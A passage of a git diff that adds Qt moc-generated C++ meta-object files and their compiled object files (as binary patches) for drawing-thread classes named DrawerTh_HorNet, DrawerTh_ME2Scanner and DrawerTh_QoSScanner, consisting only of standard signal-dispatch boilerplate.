31, 0), +QT_MOC_LITERAL(3, 32, 8), +QT_MOC_LITERAL(4, 41, 9) + }, + "DrawerTh_HorNet\0sAddDelimLines\0\0" + "sAddLine\0sDrawGrid" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_DrawerTh_HorNet[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 3, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 3, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 0, 29, 2, 0x06 /* Public */, + 3, 4, 30, 2, 0x06 /* Public */, + 4, 0, 39, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, + QMetaType::Void, QMetaType::Int, QMetaType::Int, QMetaType::Int, QMetaType::Int, 2, 2, 2, 2, + QMetaType::Void, + + 0 // eod +}; + +void DrawerTh_HorNet::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + DrawerTh_HorNet *_t = static_cast<DrawerTh_HorNet *>(_o); + switch (_id) { + case 0: _t->sAddDelimLines(); break; + case 1: _t->sAddLine((*reinterpret_cast< int(*)>(_a[1])),(*reinterpret_cast< int(*)>(_a[2])),(*reinterpret_cast< int(*)>(_a[3])),(*reinterpret_cast< int(*)>(_a[4]))); break; + case 2: _t->sDrawGrid(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (DrawerTh_HorNet::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_HorNet::sAddDelimLines)) { + *result = 0; + } + } + { + typedef void (DrawerTh_HorNet::*_t)(int , int , int , int ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_HorNet::sAddLine)) { + *result = 1; + } + } + { + typedef void (DrawerTh_HorNet::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_HorNet::sDrawGrid)) { + *result = 2; + } + } + } +} + +const QMetaObject DrawerTh_HorNet::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_HorNet.data, + qt_meta_data_DrawerTh_HorNet, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *DrawerTh_HorNet::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *DrawerTh_HorNet::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_HorNet.stringdata)) + return static_cast<void*>(const_cast< DrawerTh_HorNet*>(this)); + return QThread::qt_metacast(_clname); +} + +int DrawerTh_HorNet::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 3) + qt_static_metacall(this, _c, _id, _a); + _id -= 3; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 3) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 3; + } + return _id; +} + +// SIGNAL 0 +void DrawerTh_HorNet::sAddDelimLines() +{ + QMetaObject::activate(this, &staticMetaObject, 0, 0); +} + +// SIGNAL 1 +void DrawerTh_HorNet::sAddLine(int _t1, int _t2, int _t3, int _t4) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)), const_cast<void*>(reinterpret_cast<const void*>(&_t2)), const_cast<void*>(reinterpret_cast<const void*>(&_t3)), const_cast<void*>(reinterpret_cast<const void*>(&_t4)) }; + QMetaObject::activate(this, &staticMetaObject, 1, _a); +} + +// SIGNAL 2 +void DrawerTh_HorNet::sDrawGrid() +{ + QMetaObject::activate(this, &staticMetaObject, 2, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_HorNet.o b/moc_DrawerTh_HorNet.o new file mode 100644 index 0000000000000000000000000000000000000000..9ba44948479c36889b1a10ab9c281485ecf42400 GIT binary patch literal 8768 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 literal 0 HcmV?d00001 diff --git a/moc_DrawerTh_ME2Scanner.cpp b/moc_DrawerTh_ME2Scanner.cpp new file mode 100644 index 0000000..a393d66 --- /dev/null +++ b/moc_DrawerTh_ME2Scanner.cpp @@ -0,0 +1,141 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'DrawerTh_ME2Scanner.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "DrawerTh_ME2Scanner.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'DrawerTh_ME2Scanner.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_DrawerTh_ME2Scanner_t { + QByteArrayData data[4]; + char stringdata[51]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_ME2Scanner_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_DrawerTh_ME2Scanner_t qt_meta_stringdata_DrawerTh_ME2Scanner = { + { +QT_MOC_LITERAL(0, 0, 19), +QT_MOC_LITERAL(1, 20, 12), +QT_MOC_LITERAL(2, 33, 0), +QT_MOC_LITERAL(3, 34, 16) + }, + "DrawerTh_ME2Scanner\0sAddPolyLine\0\0" + "sDrawTextPlacers" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_DrawerTh_ME2Scanner[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 2, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 2, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 0, 24, 2, 0x06 /* Public */, + 3, 0, 25, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, + QMetaType::Void, + + 0 // eod +}; + +void DrawerTh_ME2Scanner::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + DrawerTh_ME2Scanner *_t = static_cast<DrawerTh_ME2Scanner *>(_o); + switch (_id) { + case 0: _t->sAddPolyLine(); break; + case 1: _t->sDrawTextPlacers(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (DrawerTh_ME2Scanner::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_ME2Scanner::sAddPolyLine)) { + *result = 0; + } + } + { + typedef void (DrawerTh_ME2Scanner::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_ME2Scanner::sDrawTextPlacers)) { + *result = 1; + } + } + } + Q_UNUSED(_a); +} + +const QMetaObject DrawerTh_ME2Scanner::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_ME2Scanner.data, + qt_meta_data_DrawerTh_ME2Scanner, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *DrawerTh_ME2Scanner::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *DrawerTh_ME2Scanner::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_ME2Scanner.stringdata)) + return static_cast<void*>(const_cast< DrawerTh_ME2Scanner*>(this)); + return QThread::qt_metacast(_clname); +} + +int DrawerTh_ME2Scanner::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 2) + qt_static_metacall(this, _c, _id, _a); + _id -= 2; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 2) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 2; + } + return _id; +} + +// SIGNAL 0 +void DrawerTh_ME2Scanner::sAddPolyLine() +{ + QMetaObject::activate(this, &staticMetaObject, 0, 0); +} + +// SIGNAL 1 +void DrawerTh_ME2Scanner::sDrawTextPlacers() +{ + QMetaObject::activate(this, &staticMetaObject, 1, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_ME2Scanner.o b/moc_DrawerTh_ME2Scanner.o new file mode 100644 index 0000000000000000000000000000000000000000..b51e83a72d6ffe7bc7ffd075215b49da03d112b3 GIT binary patch literal 8376 zcmds6Yit}>6&`z2$0TOsCV&DB&6pONK(g%Ejvs**JN71H#ZA^(r;ohG>)my|u=cvU z<6yT^6SQ^2){SJL3KfY*{~*B+BqS;XMMx2;lpujXfgeb;G!jU-N+g0RMTHc~`R<&v zdp$doHt>%l&7O0=dtUd>xifR`o=J@EZ*FQbgqn<pjCxB@!<b%Qmj{$MV00MwD%}m# zhD{suEzCc}{3FDL?Bz49cIC_t!@cWGVD|aDz%Fju{wz4P_kdZyw61VJw_ia71+7d? zO~pii>E`^lr7P}4<)2OSshV+Jx$^G~?#8z+PKmy~Jl1M2TlV=6B8<J<Z1-Pw_e!(> z^8D}Y%2Tbz{I4#xAmBx1I^397&7ac#_N5kfckN}$PRs9T%C5d;SFX3(OE(cmjmED2 z%dWn$3X|$D?CR>$mHG8{<<-{XCoh88)j!$Qza2lRM!RYIS?F08uD!l#`+zYxK2m+> zs9pVaO1W)UPL?h#v@QK{eoN);re|W6)n;<ie*EO%iHlP!m0NA|HwZtoYA+u(E;YYP zbnUhJ{2~6E*3HrCU#r9Sw<&MSBwYI`f)d%w>i*c33+;Awy~@bz;9u^iQQl%5<%5QI zobTU*$_>qc*Rkxi&wp6KJRdaZM%OBWR(7i0Outbjh5tZDYIrNjXyg7w=mLF|F2O!S zGOjSfe4(C&CRhNDdKWsu0&u~=$27cM>)6Zka4G%eTxopTc{tIT%A{v!b0woZn9U}O zg~ieQY|b#sP#MoHxXD5~lPi@qCnQ?^K_1rX{9m;W3=QoycN{o$bf?)J>x*@nopGx> z-fvmvjw89OX{TKe-`%?t<Hj=x)b!L5qiLbN>7KUrtt(U<xEI@0k71xjK)~Wk@?^ni z`74q-fZk(13_c2snc#M`z0#bDwvq__uL2|bn#WXL-()!kelXg8inO~)e3|i4@WE*N zx#q#>)=K0+)XZ*(ZY5wa+B&##nB)UW9^GgtyX$P12j3TMf4+G*y7gRSIBHhb?T^ME z-w-v)5!vsHwhobvqF8xx#!XKev9eq8__Ro+Tp=BEsq&0iHtnX3*krkE#A;~FId&+p z{DwOdr{9-ee63#DO_$vHIX2DD=3OUUDy0_*D0&HaoC1%h0wc32l#wUdL3iX1bRT)2 zx<)KhoSDhZ(%j4z-CT?cayR9l`4Xp)n|7v3>6x4nd!kgNG5xQUrkcGwz{vn(s58)Z zx={1$&>#{XW^a3HhHn2U&F;PIlL7XfcVI8;NRQuj2lf*I@$U<;HwnW#LA|Gm3(1}N zzPvEF18Y{Nd#E9Eq2qCM5WUFun195O@yN3Ua|#uC2a%{~8(u^K<d3zBbl@}0-j{wu zu03Q6ofcm_liTuaBNavd@mqxYbAsY!eu&1El~;fG9`uj@6k$Q}2ROdT_QL$}AE%C> z_-}K3n+-AlZFKqLpCe4gXFXvP9A7<y1tji|{}sZ5;tzb>Gg@I=#K-rEKmIou_us!2 zjxYM`re-hg7f1+-|67hPb%yxJUHl3DUBWPa4o8wlFEOwcof?^%4DknaDSMxT3p^nG z8z1`q`TITFM|}2I*<SL5Ey!>G8^VIdzslpcl~w)u=N~_kNB;i!;&g%Sg_$BSzePMK ze*9ifA<6TH`Nv%N<L{FAo_g)~EIW<Y5Kl0D?FYy{DE?UlB$`ma-uN+>{`mbI-yi3P z>~uHV3*+IaIRmzj?WJG%>p@9Tr`U_$qipZH{l-<cH+=?@zt|t4{-97-dHjE1MKtk9 z5PPXBygU7CPnqxwVcHkp*Hq*2=MMYtZBky0Rkckr43nC8CHUiifUuzWD{3EP7~f)h zQd8uQFSwsWZ=Lb?cl|ipk%qUOrxmGXx7I3RAj?LI7<i&LQbavzgYd>38kT9ZwsVu` z?bC!eX>s*&M;e|2hVh)z-)x*E4tmjJ>NjF+)>@wUV`5DjUeGimhX1YSbw+Bt22Gj7 zh+5feF|;DJ9mLwch^mCOn5WM#Ev@S{CF`TFcSekl)f<`=QB|n{EJhlh@?J+IumX{P z(8>btD@t<n54tvMbtUVogHrcDvk|p71V2Ui-P*j#bLlz4;opQYk@);kh@UrDU+m?M zw$Wn!gjTnL?<BlKyN?TA7-NWViN%m&sSrPN3dfg*M<(<0A%0#Ud~<V)kz_sD2mU!k z|5gaTg&rd9)aNG?xF4kUZo)C2H@I(<`J*BFr$X?j+0OvYH%RR<iN6w}f1U6SZGFl2 zK?{{yhqk_?eoVrH@*fGo9|^&q48gx1g8w`O|4RtoLQ5hjPb&m>LhxroaAT&JaRQEX zVwt%)!#OZ|c;Dct<CNzooe?K&|84a>={mF-b@Lf#CP$mnbfJ()_KqE%{9-QS9<r>l zhY9ss-9zZiCzGcQ=UB=e?Q@)b5nFF+j&{KjJdn3ie)b9MtAmnLx}BnX8?BJ@f<1H& zK!Z6Lxc9c=$iT}MdOQb*_wP?7#+~uOeWMA-v$lAI!<44gn_Zku&*U@pp?X1rWAu2_ zr76Q@ux_V*KF3b=DeX&V-2CaZo2$=x@?gs0ISz5!<3HxRO}6TMh0ZlX&MGMJ-m&rN zQZAik&ES~B*6m{8Y{og3EvUi>cJN=<*`bu%moJu`$#gl_JwnAc#HsjkFGVL?E;`fc z*=!+aI8J6E?a<^ds1glH%;H+iq|0t1c`##8{bpup0oA9*YS0P2;dM<~Dz{lawQ1LU z-`*nZ7%TkH3b*}`6~{Czq$l&Itxl55c_&jym&=a3IG1zsvs1+c4Rw4(%0M6Yp4@3V zwMry=#u5;`E^l>Nmg?J|FSxl<BAIdmmEvxGhPpj3^eh>#HP`rxXQuOoY+Y@r)?A}z zW#-FnafbDRlIqG7=~SGaTSYfNwU{_^ke^?)R;P>EHO_jn`SN>e2QKQa()_Hq8f4C_ zfJXwo@8mlIuV8Hb-ob%C(S0O?{CJlKH{cT?IKFQ|@PoaK_{aGH2zUowg8vL4kw0z| zzo&uYE5-Z1B$;t~y&3oh7e8Yfj<X)YzoYrtq2co713&n-7yVr%gMgcK3H}9=L4Lg8 z!43GUA^2`B&(D&M_@~beMcBdMUI@<HGv)t&4G+_o`-?nvefeSs{y=~q%rp8Vu0B6I zHC+57&rfT(eBr|n{*Mwr9VCPN{$UG3Ow76H0|Q~2{QsQ^-c5ph!^l1r`Z%{0l78Uo zKTGb=^`*AarR!t=D<t1{@S~qGn5+Oi&N3Kk3<Ug>O7eb02RP1Bh5A?k-XkFK0hWRH zvJ7Uk3|wphB{jUCWw6IIT>i5IG@;?2V;O8(!#}U#a~l4jhKq=N9+C!eeV$QEXSuJP zIrOE*0O|8Aa|qnT4-x7Imk??IB)F+s_4yH8=KTcs1E){d8p*hT^HGZGd!9AKPm<d& WX}DgWKhbd5+~Brw@iTyd6a5Fk&6+&` literal 0 HcmV?d00001 diff --git a/moc_DrawerTh_QoSScanner.cpp b/moc_DrawerTh_QoSScanner.cpp new file mode 100644 index 0000000..28e0063 --- /dev/null +++ b/moc_DrawerTh_QoSScanner.cpp @@ -0,0 +1,124 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'DrawerTh_QoSScanner.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "DrawerTh_QoSScanner.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'DrawerTh_QoSScanner.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_DrawerTh_QoSScanner_t { + QByteArrayData data[3]; + char stringdata[30]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_QoSScanner_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_DrawerTh_QoSScanner_t qt_meta_stringdata_DrawerTh_QoSScanner = { + { +QT_MOC_LITERAL(0, 0, 19), +QT_MOC_LITERAL(1, 20, 8), +QT_MOC_LITERAL(2, 29, 0) + }, + "DrawerTh_QoSScanner\0sAddLine\0" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_DrawerTh_QoSScanner[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 1, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 1, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 0, 19, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, + + 0 // eod +}; + +void DrawerTh_QoSScanner::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + DrawerTh_QoSScanner *_t = static_cast<DrawerTh_QoSScanner *>(_o); + switch (_id) { + case 0: _t->sAddLine(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (DrawerTh_QoSScanner::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_QoSScanner::sAddLine)) { + *result = 0; + } + } + } + Q_UNUSED(_a); +} + +const QMetaObject DrawerTh_QoSScanner::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_QoSScanner.data, + qt_meta_data_DrawerTh_QoSScanner, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *DrawerTh_QoSScanner::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *DrawerTh_QoSScanner::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_QoSScanner.stringdata)) + return static_cast<void*>(const_cast< DrawerTh_QoSScanner*>(this)); + return QThread::qt_metacast(_clname); +} + +int DrawerTh_QoSScanner::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 1) + qt_static_metacall(this, _c, _id, _a); + _id -= 1; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 1) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 1; + } + return _id; +} + +// SIGNAL 0 +void DrawerTh_QoSScanner::sAddLine() +{ + QMetaObject::activate(this, &staticMetaObject, 0, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_QoSScanner.o b/moc_DrawerTh_QoSScanner.o new file mode 100644 index 0000000000000000000000000000000000000000..18ea18457562bad171b9c056a37264f63f1fd714 GIT binary patch literal 7976 zcmds6U5pf26|R})r)4Ki!}>#9U1|_^L80w}ff>+U=dYnAv_nG=%ECfTO?S_ByEENm zcQp>{1DJNm_Rf;9i7zHT_<)a^)dyotOhz%;-3KEfJovNf?vs!;D~1GPSjF?*I%noi zO%;N^d6MdL?sw16z32W^-P`9g*@K-O9fnYc@vN~_64WqWU$Z3lE3x0`Hl9?v>!=Ky zF6NIj|1k595*M=P&&Tc7`R#_c`W7(z(rU1)>o<QBoXUH_thcP|s($Wnvup0U*LUaY z<oeCShSB=hy5=2wejsjN`iRn>x9t7N<~w$4Hf}V3`-W=f)ydQff6CkB<>Ps~eaCM7 zC2r5%^$u_}yZukQ{imDo*ZzgwzBzZjxz=v|GJfjxRWQ5#N4x#kQ>T@S^_wq1&suoz z59>Gg8v|n_?GKLI?O)}U+oW<bw=ml^_xtAKa|@Tfr&>2V$Vu|l>4E33PF`-^>uTPf zTWH?0=Z_n2blxX|Bg1arvaVZqv+X~(hqrbqFY_e4_j3f($evgEvReyDyS-MmNUNp% z`SsMxd#s~;QTI+MW&6@I&_@RRig~}x+4QrIPOo&mERGb`iohK6AQ8ZVMd;uGVXk!2 zgK_%|JwZZ(pd)0n06Z=rahe*6fU~HWnoT4P*WIs`>SJZ+Xf2;FxYcT@ZZrmp#cZWo z()F$VVVb(e|G9i<Xy|~s{m|&~9cE9eFSW<qowj<?`z_1deymh9ZP)YhUA;Sy39NBY z$4keIj@e|#6J2ZLmuYa5gndHQ7{(^%z|xuw5txjfj5G94ppwYMkDW-iI`avPH}pMV zM58`aZFrgG6!_sp@(gMBkoaAciL&?^NF*<I4kR|UVuuoDab02)0RxHnz+=NCA5wDm zF~5z!fj*IopTR`()z0C>ri-!RgxOkkFp++4UBV<sWIvdQ50Q<LYMh()+zH}d-REVI z>ZK_+<&|bVBUN-g*GNq?8b)dnO*tn=L#N&F?#$VT(n~MbYj|$mYtFD~rCRYEw_bP8 z5m56R;ByK*mJf~0rcg#Z$qu?BkD&XdhtxGvh1&FVsY<!2*1S@RCf+V;f8j-LLaFRb z*4^onk$RzCqdxtw<kH;S5aOhtG1*f#QyFu6730FA?ClWyZI57|3$eEz!Cuyj-u~T> zU_Txbe@lqHNf@P2?bpN>Nk+y(rAAn<Iz2%J$)%2`Kkk=IwnzT)PLTd!PXIkd4^(0( zXmlkISE_=sc2Wg=M%f451nu{cEp*o4rKQp9Y$$t}R0aF5kE!T@=a3kpw9gFmAKz8M z{+}T%EdDi)Z&JNZ!T8TnWw1}szrgWrHb#7W&jsUOBuvF;Jz=*wzS@5UBp!_a4Z_0W zzsd10vn}G|J0ckW+l&Xt&*bqCeRi{GFXeBM5ElOgzpP}QAwJqJ{sjLXVd!dL_>F!B 